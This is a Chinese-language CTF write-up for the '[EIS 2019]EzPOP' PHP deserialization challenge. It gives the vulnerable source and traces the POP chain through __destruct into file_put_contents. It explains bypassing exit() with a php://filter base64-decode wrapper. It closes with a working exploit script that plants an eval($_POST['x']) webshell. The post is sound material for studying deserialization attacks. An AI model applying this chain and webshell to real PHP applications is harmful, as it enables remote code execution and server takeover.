[EIS 2019]EzPOP
[EIS 2019]EzPOP
反序列化主要是利用原本類中的函式方法。關鍵點也在例項化後的類中變數可控後,通過構造變數的值,使反序列化後函式不斷呼叫最後到我們目標利用函式
然後再由利用函式中的引數值可控,幹一些好玩的操作。這個過程要關注函式的鏈式呼叫是否到了我們想要利用的漏洞函式。然後是可控的變數值是否成功傳入,中間是否進行了其他的處理。
這個題原始碼如下
<?php error_reporting(0); class A { protected $store; protected $key; protected $expire; public function __construct($store, $key = 'flysystem', $expire = null) { $this->key = $key; $this->store = $store; $this->expire = $expire; } public function cleanContents(array $contents) { $cachedProperties = array_flip([ 'path', 'dirname', 'basename', 'extension', 'filename', 'size', 'mimetype', 'visibility', 'timestamp', 'type', ]); foreach ($contents as $path => $object) { if (is_array($object)) { $contents[$path] = array_intersect_key($object, $cachedProperties); } } return $contents; } public function getForStorage() { $cleaned = $this->cleanContents($this->cache); return json_encode([$cleaned, $this->complete]); } public function save() { $contents = $this->getForStorage(); $this->store->set($this->key, $contents, $this->expire); } public function __destruct() { if (!$this->autosave) { $this->save(); } } } class B { protected function getExpireTime($expire): int { return (int) $expire; } public function getCacheKey(string $name): string { return $this->options['prefix'] . $name; } protected function serialize($data): string { if (is_numeric($data)) { return (string) $data; } $serialize = $this->options['serialize']; return $serialize($data); } public function set($name, $value, $expire = null): bool{ $this->writeTimes++; if (is_null($expire)) { $expire = $this->options['expire']; } $expire = $this->getExpireTime($expire); $filename = $this->getCacheKey($name); $dir = dirname($filename); if (!is_dir($dir)) { try { mkdir($dir, 0755, true); } catch (\Exception $e) { // 建立失敗 } } $data = $this->serialize($value); if ($this->options['data_compress'] && function_exists('gzcompress')) { //資料壓縮 $data = gzcompress($data, 3); } $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result = file_put_contents($filename, $data); if ($result) { return true; } return false; } } if (isset($_GET['src'])) { highlight_file(__FILE__); } $dir = "uploads/"; if (!is_dir($dir)) { mkdir($dir); } unserialize($_GET["data"]);
一次遇到這麼多程式碼不要怕,把每個函式的功能和呼叫關係理清楚,然後構造exp之後打斷點慢慢看,沒打通看是到哪個函式呼叫不下去了,報錯是什麼。
通讀之後,發現有2個類A(),B()
A中有__destruct
,常見反序列化入口點,然後呼叫關係為__destruct->save()->getForStorage->cleanContents
然後再進行到save()中的$this->store->set($this->key, $contents, $this->expire);
進而開始呼叫B類中的set方法,
public function set($name, $value, $expire = null): bool{ $this->writeTimes++; if (is_null($expire)) { $expire = $this->options['expire']; } $expire = $this->getExpireTime($expire); $filename = $this->getCacheKey($name); $dir = dirname($filename); if (!is_dir($dir)) { try { mkdir($dir, 0755, true); } catch (\Exception $e) { // 建立失敗 } } $data = $this->serialize($value); if ($this->options['data_compress'] && function_exists('gzcompress')) { //資料壓縮 $data = gzcompress($data, 3); } $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result = file_put_contents($filename, $data); if ($result) { return true; } return false; }
set中前面呼叫的getxxx都是對變數資料型別進行處理的沒什麼好看的,然後是到了serialize方法
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
這裡有個$serialize($data)
函式動態呼叫
再到$data = gzcompress($data, 3)
再到這個很明顯的漏洞地方
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
我們可以利用file_put_contents寫入php檔案,直接getshell
這裡data前面拼接了<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n"
繞過exit可以參考p牛的這篇文章,
$filename=php://filter/convert.base64-encode/resource=xx.php就可以破壞掉exit(),
sprintf('%012d', $expire)
$expire
可控
還讓我們可以填base64_decode,填充為4的倍數,讓php程式碼被正確解碼出來
$filename和$data都可控
它們在set中的處理過程:
$data = $this->serialize($value)
$filename = $this->getCacheKey($name)
$value和$name由set($name, $value, $expire = null)定義
由$this->store->set($this->key, $contents, $this->expire)傳入
在A類中key直接是可控的,
$contents=json_encode([$cleaned, $this->complete])
其中$cleaned = $this->cleanContents($this->cache);
所以$filename
的值由A類中$key
決定
$data
由A類中的$cache
和$complete
決定
(注意函式傳入變數的型別要求
構造exp
<?php
class A {
protected $store;
protected $key;
protected $expire;
public $cache = array(1234=>"UEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiSjNnblhTazdQejQ9"); /*<?php eval($_POST['x']);?>的二次base64編碼
二次編碼的原因是json_enocde會將cache字串中的/和_進行轉義
解密也有兩次,一次$serialize,一次php://fileter */
public $complete = "";
public function __construct($store='', $key = 'flysystem', $expire = null) {
$this->key = 'php://filter/convert.base64-decode/resource=x.php';
$this->store = new B();
$this->expire = $expire;
}
}
class B {
public $options =array('serialize'=>'base64_decode','expire'=>12346578910111) ;
}
$a = new A();
echo urlencode(serialize($a)).PHP_EOL;
x.php即為寫入的webshell